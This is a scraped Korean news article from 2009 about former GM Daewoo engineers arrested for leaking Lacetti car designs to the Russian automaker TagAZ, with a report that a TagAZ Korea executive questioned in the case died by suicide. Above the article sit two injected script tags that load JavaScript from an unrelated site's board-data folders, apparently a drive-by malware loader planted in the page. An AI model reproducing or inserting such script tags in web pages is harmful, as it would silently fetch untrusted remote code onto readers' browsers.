<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> GM대우 전 직원, 훔친 핵심기술로 외국 신차개발 주도
[노컷뉴스] 2009년 09월 10일(목) 오후 01:39 가 가| 이메일| 프린트
[CBS사회부 윤지나 기자]
전직 GM대우 연구원들이 외국 자동차회사로 옮기면서 라세티의 핵심기술을 빼내고 이를 신차개발에 이용한 사실이 드러났다.
서울 남부지검은 러시아 자동차회사로 라세티 설계도면 등 핵심기술을 빼돌려 신차개발을 주도한 혐의로 황 모(43) 상무와 정 모(43) 부장을 구속했다.
검찰에 따르면 대우자동차와 GM대우에서 연구원에서 일했던 황 씨는 지난 2006년 러시아자동차회사인 타가즈한국법인으로 직장을 옮긴 뒤 신차개발을 총괄지휘했다.
이 과정에서 황 씨는 2007년 라세티 차체와 섀시 관련 설계도면 파일 2천103개와 기술표준문서 파일 1천534개가 저장된 외장형 하드디스크를 타가즈코리아 차체설계팀장 등에게 건네면서 신차 개발에 사용하도록 지시했다.
황 씨처럼 대우자동차와 GM대우에서 연구원으로 일했던 정 씨는 지난해 초 타가즈코리아에 총괄팀부장으로 스카우트된 뒤 GM대우 퇴사 직전 자동차 개발에 필요한 설계와 기술표준문서 파일 등 6천437개의 파일을 외장형 하드디스크로 내려받아 빼냈다.
검찰은 이들이 아예 사무실의 업무용 컴퓨터에 GM대우 기술을 저장해 놓고 일하고 있었다고 말했다.
검찰은 유출된 라세티 관련 기술이 최근 러시아에서 제작한 1천 300-1천 600cc급 준중형차 \'C100\' 개발에 쓰인 것으로 보고 있다.
검찰관계자는 \"부품과 차체, 섀시 등이 C100을 만드는 데 사용됐다는 내부직원 진술을 확인했다\"며 \"유출된 기술이 다른 곳에는 얼마나 사용됐는지 조사하고 있다\"고 말했다.
검찰은 또 황 씨나 정 씨가 기술을 유출하면서 사 측으로부터 대가를 받았는 지, 사 측이 기술유출에 관여했는 지 여부도 수사할 방침이다.
**검찰관계자는 \"직원 470여명 규모의 타가즈사에 GM대우 출신 엔지니어가 100여 명쯤이다. 기술이 유출된 즈음에도 전직 직원들이 대거 영입됐다\"며 \"사 측과 관계된 것들은 정 씨와 황 씨가 모두 부인하고 있다\"고 말했다.**
이 관계자는 이어 \"정 씨와 황 씨 말고도 피의자 신분으로 조사 받은 전직 GM대우 직원이 있다\"며 \"이들을 상대로 계속 조사를 벌이고 있다\"고 말했다.
검찰은 또 타가즈사 압수수색에서 나온 수천 개의 GM대우 관련 파일을 분석해 라세티 외에도 다른 차량기술이 추가적으로 유출돼 개발에 이용됐는 지, 타가즈사 외에 다른 곳으로 추가유출됐는 지 여부를 조사할 방침이다.
한편, 이번 기술유출 사건과 관련해 참고인 자격으로 검찰조사를 받던 타가즈코리아 임원 김 모(49) 씨가 회사 지하에서 목을 매 숨졌다.
경찰에 따르면 김 씨는 \'가족\'과 \'세상사람들\'에게 보내는 두 통의 유서에서 \'열심히 살려고 했지만 뜻대로 되지 않았다\'란 내용과 함께 \'나는 그런 사람이 아니다\'라고 써 억울하다는 취지의 말을 남긴 것으로 알려졌다.
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